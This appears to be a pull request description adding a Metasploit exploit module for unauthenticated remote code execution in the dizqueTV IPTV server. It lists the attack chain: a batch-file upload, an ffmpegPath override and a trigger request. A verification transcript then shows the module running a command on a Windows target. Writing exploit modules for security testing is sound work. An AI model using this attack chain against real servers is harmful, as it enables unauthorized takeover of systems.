Add exploit module for dizqueTV RCE (EDB-52079)

[0x5chltz]

Summary

Adds an exploit module for dizqueTV, a Node.js-based IPTV streaming server vulnerable to unauthenticated remote code execution (EDB-52079).

The module:

1. Uploads a malicious batch file via the unauthenticated /api/upload/image endpoint
2. Modifies the ffmpegPath setting via PUT /api/ffmpeg-settings to point to the uploaded file
3. Triggers execution via a video stream request (GET /video?channel=N) or the version API endpoint (GET /api/version)
4. Polls for command output written beside the uploaded script and retrievable over HTTP

Verification

Tested against a Windows dizqueTV 1.5.3 instance:

msf6 > use exploit/windows/http/dizquetv_rce
msf6 exploit(windows/http/dizquetv_rce) > set RHOSTS <target>
msf6 exploit(windows/http/dizquetv_rce) > set COMMAND whoami
msf6 exploit(windows/http/dizquetv_rce) > check
[+] The target is vulnerable. dizqueTV detected
msf6 exploit(windows/http/dizquetv_rce) > run
[+] Script uploaded: b_a1b2c3.bat
[+] ffmpegPath confirmed
[+] Output retrieved @ 18s: nt authority\network service

References

• EDB-52079